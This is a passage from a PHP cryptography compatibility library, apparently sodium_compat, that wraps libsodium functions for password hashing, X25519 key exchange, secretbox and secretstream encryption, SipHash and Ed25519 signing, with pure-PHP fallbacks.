        return !ParagonIE_Sodium_Core_Util::hashEquals($encoded, $prefix);
    }

/**
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash_str_verify($passwd, $hash)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2);

if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_pwhash_str_verify($passwd, $hash);
        }
        if (self::use_fallback('crypto_pwhash_str_verify')) {
            return (bool) call_user_func('\\Sodium\\crypto_pwhash_str_verify', $passwd, $hash);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP'
        );
    }

/**
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256($outlen, $passwd, $salt, $opslimit, $memlimit)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt,  'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5);

if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_pwhash_scryptsalsa208sha256(
                (int) $outlen,
                (string) $passwd,
                (string) $salt,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_pwhash_scryptsalsa208sha256',
                (int) $outlen,
                (string) $passwd,
                (string) $salt,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP'
        );
    }

/**
     * !Exclusive to sodium_compat!
     *
     * This returns TRUE if the native crypto_pwhash API is available by libsodium.
     * This returns FALSE if only sodium_compat is available.
     *
     * @return bool
     */
    public static function crypto_pwhash_scryptsalsa208sha256_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return true;
        }
        if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) {
            return true;
        }
        return false;
    }

/**
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3);

if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_pwhash_scryptsalsa208sha256_str(
                (string) $passwd,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str',
                (string) $passwd,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP'
        );
    }

/**
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2);

if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_pwhash_scryptsalsa208sha256_str_verify(
                (string) $passwd,
                (string) $hash
            );
        }
        if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str_verify')) {
            return (bool) call_user_func(
                '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify',
                (string) $passwd,
                (string) $hash
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP'
        );
    }

/**
     * Calculate the shared secret between your secret key and your
     * recipient's public key.
     *
     * Algorithm: X25519 (ECDH over Curve25519)
     *
     * @param string $secretKey
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_scalarmult($secretKey, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);

if (self::useNewSodiumAPI()) {
            return sodium_crypto_scalarmult($secretKey, $publicKey);
        }
        if (self::use_fallback('crypto_scalarmult')) {
            return (string) call_user_func('\\Sodium\\crypto_scalarmult', $secretKey, $publicKey);
        }

/* Output validation: Forbid all-zero keys */
        if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) {
            throw new SodiumException('Zero secret key is not allowed');
        }
        if (ParagonIE_Sodium_Core_Util::hashEquals($publicKey, str_repeat("\0", self::CRYPTO_BOX_PUBLICKEYBYTES))) {
            throw new SodiumException('Zero public key is not allowed');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::scalarmult($secretKey, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::scalarmult($secretKey, $publicKey);
    }

/**
     * Calculate an X25519 public key from an X25519 secret key.
     *
     * @param string $secretKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     * @psalm-suppress MixedArgument
     */
    public static function crypto_scalarmult_base($secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);

if (self::useNewSodiumAPI()) {
            return sodium_crypto_scalarmult_base($secretKey);
        }
        if (self::use_fallback('crypto_scalarmult_base')) {
            return (string) call_user_func('\\Sodium\\crypto_scalarmult_base', $secretKey);
        }
        if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) {
            throw new SodiumException('Zero secret key is not allowed');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::scalarmult_base($secretKey);
        }
        return ParagonIE_Sodium_Crypto::scalarmult_base($secretKey);
    }

/**
     * Authenticated symmetric-key encryption.
     *
     * Algorithm: XSalsa20-Poly1305
     *
     * @param string $plaintext The message you're encrypting
     * @param string $nonce A Number to be used Once; must be 24 bytes
     * @param string $key Symmetric encryption key
     * @return string           Ciphertext with Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox($plaintext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

if (self::useNewSodiumAPI()) {
            return sodium_crypto_secretbox($plaintext, $nonce, $key);
        }
        if (self::use_fallback('crypto_secretbox')) {
            return (string) call_user_func('\\Sodium\\crypto_secretbox', $plaintext, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox($plaintext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox($plaintext, $nonce, $key);
    }

/**
     * Decrypts a message previously encrypted with crypto_secretbox().
     *
     * @param string $ciphertext Ciphertext with Poly1305 MAC
     * @param string $nonce      A Number to be used Once; must be 24 bytes
     * @param string $key        Symmetric encryption key
     * @return string            Original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_secretbox_open($ciphertext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_secretbox_open($ciphertext, $nonce, $key);
        }
        if (self::use_fallback('crypto_secretbox_open')) {
            return call_user_func('\\Sodium\\crypto_secretbox_open', $ciphertext, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_open($ciphertext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_open($ciphertext, $nonce, $key);
    }

/**
     * Return a secure random key for use with crypto_secretbox
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_secretbox_keygen()
    {
        return random_bytes(self::CRYPTO_SECRETBOX_KEYBYTES);
    }

/**
     * Authenticated symmetric-key encryption.
     *
     * Algorithm: XChaCha20-Poly1305
     *
     * @param string $plaintext The message you're encrypting
     * @param string $nonce     A Number to be used Once; must be 24 bytes
     * @param string $key       Symmetric encryption key
     * @return string           Ciphertext with Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox_xchacha20poly1305($plaintext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305($plaintext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305($plaintext, $nonce, $key);
    }
    /**
     * Decrypts a message previously encrypted with crypto_secretbox_xchacha20poly1305().
     *
     * @param string $ciphertext Ciphertext with Poly1305 MAC
     * @param string $nonce      A Number to be used Once; must be 24 bytes
     * @param string $key        Symmetric encryption key
     * @return string            Original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key);
    }

/**
     * @param string $key
     * @return array<int, string> Returns a state and a header.
     * @throws Exception
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_init_push($key)
    {
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_push($key);
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_push($key);
    }

/**
     * @param string $header
     * @param string $key
     * @return string Returns a state.
     * @throws Exception
     */
    public static function crypto_secretstream_xchacha20poly1305_init_pull($header, $key)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($header) < self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES) {
            throw new SodiumException(
                'header size should be SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES bytes'
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_pull($key, $header);
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_pull($key, $header);
    }

/**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0)
    {
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_push(
                $state,
                $msg,
                $aad,
                $tag
            );
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_push(
            $state,
            $msg,
            $aad,
            $tag
        );
    }

/**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_pull(&$state, $msg, $aad = '')
    {
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_pull(
                $state,
                $msg,
                $aad
            );
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_pull(
            $state,
            $msg,
            $aad
        );
    }

/**
     * @return string
     * @throws Exception
     */
    public static function crypto_secretstream_xchacha20poly1305_keygen()
    {
        return random_bytes(self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES);
    }

/**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_rekey(&$state)
    {
        if (PHP_INT_SIZE === 4) {
            ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_rekey($state);
        } else {
            ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_rekey($state);
        }
    }

/**
     * Calculates a SipHash-2-4 hash of a message for a given key.
     *
     * @param string $message Input message
     * @param string $key SipHash-2-4 key
     * @return string         Hash
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_shorthash($message, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SHORTHASH_KEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SHORTHASH_KEYBYTES long.');
        }

if (self::useNewSodiumAPI()) {
            return sodium_crypto_shorthash($message, $key);
        }
        if (self::use_fallback('crypto_shorthash')) {
            return (string) call_user_func('\\Sodium\\crypto_shorthash', $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_SipHash::sipHash24($message, $key);
        }
        return ParagonIE_Sodium_Core_SipHash::sipHash24($message, $key);
    }

/**
     * Return a secure random key for use with crypto_shorthash
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_shorthash_keygen()
    {
        return random_bytes(self::CRYPTO_SHORTHASH_KEYBYTES);
    }

/**
     * Returns a signed message. You probably want crypto_sign_detached()
     * instead, which only returns the signature.
     *
     * Algorithm: Ed25519 (EdDSA over Curve25519)
     *
     * @param string $message Message to be signed.
     * @param string $secretKey Secret signing key.
     * @return string           Signed message (signature is prefixed).
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_sign($message, $secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign($message, $secretKey);
        }
        if (self::use_fallback('crypto_sign')) {
            return (string) call_user_func('\\Sodium\\crypto_sign', $message, $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign($message, $secretKey);
        }
        return ParagonIE_Sodium_Crypto::sign($message, $secretKey);
    }

/**
     * Validates a signed message then returns the message.
     *
     * @param string $signedMessage A signed message
     * @param string $publicKey A public key
     * @return string               The original message (if the signature is
     *                              valid for this public key)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_sign_open($signedMessage, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($signedMessage, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($signedMessage) < self::CRYPTO_SIGN_BYTES) {
            throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }

if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_sign_open($signedMessage, $publicKey);
        }
        if (self::use_fallback('crypto_sign_open')) {
            return call_user_func('\\Sodium\\crypto_sign_open', $signedMessage, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_open($signedMessage, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::sign_open($signedMessage, $publicKey);
    }

/**
     * Generate a new random Ed25519 keypair.
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_sign_keypair()
    {
        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_keypair();
        }
        if (self::use_fallback('crypto_sign_keypair')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_keypair');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::keypair();
        }
        return ParagonIE_Sodium_Core_Ed25519::keypair();
    }

/**
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     */
    public static function crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1);
        $sk = (string) $sk;
        $pk = (string) $pk;

if (ParagonIE_Sodium_Core_Util::strlen($sk) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('secretkey should be SODIUM_CRYPTO_SIGN_SECRETKEYBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($pk) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('publickey should be SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES bytes');
        }

if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk);
        }
        return $sk . $pk;
    }

/**
     * Generate an Ed25519 keypair from a seed.
     *
     * @param string $seed Input seed
     * @return string      Keypair
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_seed_keypair($seed)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1);

if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_seed_keypair($seed);
        }
        if (self::use_fallback('crypto_sign_keypair')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_seed_keypair', $seed);
        }
        $publicKey = '';
        $secretKey = '';
        if (PHP_INT_SIZE === 4) {
            ParagonIE_Sodium_Core32_Ed25519::seed_keypair($publicKey, $secretKey, $seed);
        } else {
            ParagonIE_Sodium_Core_Ed25519::seed_keypair($publicKey, $secretKey, $seed);
        }
        return $secretKey . $publicKey;
    }

/**
     * Extract an Ed25519 public key from an Ed25519 keypair.
     *
     * @param string $keypair Keypair
     * @return string         Public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_publickey($keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.');
        }

if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_publickey($keypair);
        }
        if (self::use_fallback('crypto_sign_publickey')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_publickey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::publickey($keypair);
        }
        return ParagonIE_Sodium_Core_Ed25519::publickey($keypair);
    }

/**
     * Calculate an Ed25519 public key from an Ed25519 secret key.
     *
     * @param string $secretKey Your Ed25519 secret key
     * @return string           The corresponding Ed25519 public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_publickey_from_secretkey($secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_publickey_from_secretkey($secretKey);
        }
        if (self::use_fallback('crypto_sign_publickey_from_secretkey')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_publickey_from_secretkey', $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::publickey_from_secretkey($secretKey);
        }
        return ParagonIE_Sodium_Core_Ed25519::publickey_from_secretkey($secretKey);
    }

/**
     * Extract an Ed25519 secret key from an Ed25519 keypair.
     *
     * @param string $keypair Keypair
     * @return string         Secret key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_secretkey($keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);

if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_secretkey($keypair);
        }
        if (self::use_fallback('crypto_sign_secretkey')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_secretkey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::secretkey($keypair);
        }
        return ParagonIE_Sodium_Core_Ed25519::secretkey($keypair);
    }

/**
     * Calculate the Ed25519 signature of a message and return ONLY the signature.
     *
     * Algorithm: Ed25519 (EdDSA over Curve25519)
     *
     * @param string $message Message to be signed
     * @param string $secretKey Secret signing key
     * @return string           Digital signature
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_detached($message, $secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2);

if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_detached($message, $secretKey);
        }
        if (self::use_fallback('crypto_sign_detached')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_detached', $message, $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_detached($message, $secretKey);
        }
        return ParagonIE_Sodium_Crypto::sign_detached($message, $secretKey);
    }

/**
     * Verify the Ed25519 signature of a message.
     *
     * @param string $signature Digital sginature
     * @param string $message Message to be verified
     * @param string $publicKey Public key
     * @return bool             TRUE if this signature is good for this public key;
     *                          FALSE otherwise
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_verify_detached($signature, $message, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($signature, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 3);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($signature) !== self::CRYPTO_SIGN_BYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_SIGN_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }

if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_verify_detached($signature, $message, $publicKey);
        }
        if (self::use_fallback('crypto_sign_verify_detached')) {
            return (bool) call_user_func(
                '\\Sodium\\crypto_sign_verify_detached',
                $signature,
                $message,
                $publicKey
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_verify_detached($signature, $message, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::sign_verify_detached($signature, $message, $publicKey);
    }

/**
     * Convert an Ed25519 public key to a Curve25519 public key
     *
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_ed25519_pk_to_curve25519($pk)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($pk) < self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }
        if (self::useNewSodiumAPI()) {
            if (is_callable('crypto_sign_ed25519_pk_to_curve25519')) {
                return (string) sodium_crypto_sign_ed25519_pk_to_curve25519($pk);
            }
        }
        if (self::use_fallback('crypto_sign_ed25519_pk_to_curve25519')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519', $pk);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::pk_to_curve25519($pk);
        }
        return ParagonIE_Sodium_Core_Ed25519::pk_to_curve25519($pk);
    }

/**
     * Convert an Ed25519 secret key to a Curve25519 secret key
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_ed25519_sk_to_curve25519($sk)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($sk) < self::CRYPTO_SIGN_SEEDBYTES) {
            throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_SEEDBYTES long.');
        }
        if (self::useNewSodiumAPI()) {
            if (is_callable('crypto_sign_ed25519_sk_to_curve25519')) {
                return sodium_crypto_sign_ed25519_sk_to_curve25519($sk);
            }
        }
        if (self::use_fallback('crypto_sign_ed25519_sk_to_curve25519')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519', $sk);
        }

$h = hash('sha512', ParagonIE_Sodium_Core_Util::substr($sk, 0, 32), true);
        $h[0] = ParagonIE_Sodium_Core_Util::intToChr(
            ParagonIE_Sodium_Core_Util::chrToInt($h[0]) & 248
        );
        $h[31] = ParagonIE_Sodium_Core_Util::intToChr(
            (ParagonIE_Sodium_Core_Util::chrToInt($h[31]) & 127) | 64
        );
        return ParagonIE_Sodium_Core_Util::substr($h, 0, 32);
    }

/**
     * Expand a key and nonce into a keystream of pseudorandom bytes.
     *
     * @param int $len Number of bytes desired
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key XSalsa20 key
     * @return string       Pseudorandom stream that can be XORed with messages
     *                      to provide encryption (but not authentication; see
     *                      Poly1305 or crypto_auth() for that, which is not
     *                      optional for security)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream($len, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_STREAM_KEYBYTES long.');
        }

if (self::useNewSodiumAPI()) {
            return sodium_crypto_stream($len, $nonce, $key);
        }
        if (self::use_fallback('crypto_stream')) {
            return (string) call_user_func('\\Sodium\\crypto_stream', $len, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20($len, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XSalsa20::xsalsa20($len, $nonce, $key);
    }

/**
